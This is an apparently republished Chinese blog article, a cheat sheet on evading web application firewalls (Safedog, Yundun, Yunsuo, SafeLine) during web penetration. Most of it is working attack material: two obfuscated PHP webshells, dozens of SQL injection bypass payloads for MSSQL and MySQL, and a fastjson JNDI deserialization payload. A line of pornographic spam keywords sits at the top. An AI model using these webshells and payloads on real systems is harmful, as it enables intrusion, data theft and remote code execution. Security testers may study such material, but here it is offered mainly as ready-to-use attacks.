日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > windows >内容正文

windows

web渗透中bypass防护系统

發布時間:2024/8/1 windows 57 豆豆
生活随笔 收集整理的這篇文章主要介紹了 web渗透中bypass防护系统 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

文章目錄

  • 1. webshell執行命令
  • 2. sql注入
    • 2.1 安全狗
      • mssql
      • mysql
    • 2.2 云盾
      • mysql
    • 2.3 云鎖
      • mysql
  • fastjson
    • safeline
  • 參考文章

1. webshell執行命令

文件上傳后向webshell傳參數:

  • 三重url編碼
  • 三重base64編碼
  • cookie傳參
  • 參數污染

  • http://test/xx.jsp?a=xxx很多的垃圾字符xxx&cmd=whoami

    cookie傳參對應webshell:

    x=ls

    <?php $p=$_COOKIE;(count($p)==23&&in_array(gettype($p).count($p),$p))?(($p[59]=$p[59].$p[72])&&($p[91]=$p[59]($p[91]))&&($p=$p[91]($p[90],$p[59]($p[31])))&&$p()):$p; ?> <?php $poc ="axsxsxexrxt"; $poc_1 = explode("x", $poc); $poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3]. $poc_1[4]. $poc_1[5]; $poc_2(urldecode(urldecode(urldecode($_REQUEST[x])))); ?>

    2. sql注入

    2.1 安全狗

    mssql

    安全狗對負數不是很敏感,對數學運算后的布爾值也不是敏感。會攔截單引號。

    and @@version>~1 and (user|1)>-1 and (db_name()|1)>.1

    如果from后面直接跟字符或者數字,安全狗會攔截。這時候可以使用下面語句來爆表名:

    and ~1=(select top 1 name from[sysobjects]);--

    使用下面的語句來加上xtype的限制條件,只輸出用戶創建的表,可以用char或者hex編碼繞過:

    and ~1=(select top 1 name from[sysobjects] where xtype=0x75);-- and ~1=(select top 1 name from[sysobjects] where xtype=0x75 and name not in (CHAR(105)%2BCHAR(110)%2BCHAR(102)%2BCHAR(111),CHAR(97)%2BCHAR(100)%2BCHAR(109)%2BCHAR(105)%2BCHAR(110)));

    嘗試使用內聯注釋進行繞過:

    ?id=1 union/*!1*/select null,name,null from [info]--*/

    利用注釋加換行,這個很好用

    ?id=1--/*%0aif (select IS_SRVROLEMEMBER('sysadmin'))=1 WAITFOR DELAY '0:0:5'--%20*/ ?id=1--/*%0aexec xp_create_subdir 'c:\text'--%20*/

    mysql


    判斷注入

    ?id='1'|1 ?id='1'|2 ?id='1'&2 ?id='1'&1 ?id='1'<~1 ?id=1' and CONCAT(1)-- + ?id=1' and CONCAT(0)-- + ?id=1' and CONV(1,11,2)-- + ?id=1' and CONV(0,11,2)-- + ?id=1' and BINARY 1-- + ?id=1' and BINARY 0-- +

    內聯注釋繞過,fuzz版本號:

    ?id=1' union/*!11440select*/ 1,2,3--+ ?id=-1' union/*!11440/**/%0aselect*/ 1,2,3--+

    注釋加換行,重點就在如何讓換行符起作用:

    union %23%0aall select union -- hex()%0a select

    參數污染,在php/apache 中 它總解析最后一個id

    ?id=-1' /*&id='union select 1,user(),3 -- +*/ ?id=-1' /*&id=' union -- hex()%0a select 1,schema_name,3 from `information_schema`.schemata limit 1,1\

    繞過information_schema:

    `information_schema`.schemata `information_schema`.`schemata` information_schema.`schemata` (information_schema.schemata) information_schema/**/.schemata

    時間盲注:

    and!!!if((substr((select hex(user/**/(/*!*/))),1,1)>1),sleep/**/(/*!5*/),1)

    布爾盲注

    /*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)=r #結果如果為true,則用戶有可能是root and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=r /*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1 and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=unhex(72)


    報錯注入

    /*updatexml*/(1,1,1)/*!5000updatexml*/(1,1,1)/*!11440updatexml*/(1,1,1)/*!%26%26*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) #and運算符/*!xor*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)| /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) xor /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) /*!||*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) ?id=1' and `updatexml`(1,(select hex(user/**/(/**/))),1)-- +

    2.2 云盾

    mysql

    云盾無法被/**/這種符號bypass,因此內聯注釋無法使用,但是它對邏輯運算符的符號形式過濾不是特別強。

    用&&替代and用||替代or即可,用!代替非邏輯。

    and ~1=1 and!!!1=1 and 1-1 and trueand 1

    盲注

    and!!!substr((select user-- (1)%0a()),1,1)='r'

    union

    union(select 1,2,3)

    報錯注入

    and `updatexml`(1,select `user`%0a(),1)

    2.3 云鎖

    mysql

    and 'a'-0 #后面的值是0,相當于and 0 and 'a'|1 #后面的值是1,相當于and 1

    布爾盲注利用注釋和換行

    and strcmp((substr((select user/**/()),2,1)),'0') ?id=1' and strcmp((substr((select /*from*/),2,1)),'0')-- + ?id=1' and strcmp((substr((select password/* -- + %0afrom/**/users limit 0,1),1,1)),'D')-- +

    報錯注入

    ?id=1' and `updatexml`(1,concat(0x7e,(select user/**/()),0x7e),1)/**/-- +

    fastjson

    safeline

    {"@type":\b"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999","autoCommit":true}}

    參考文章

    Bypass MySQL Safedog
    Bypass MySQL Yunsuo
    MYSQL_SQL_BYPASS_WIKI
    bypass的常見思路

    總結

    以上是生活随笔為你收集整理的web渗透中bypass防护系统的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。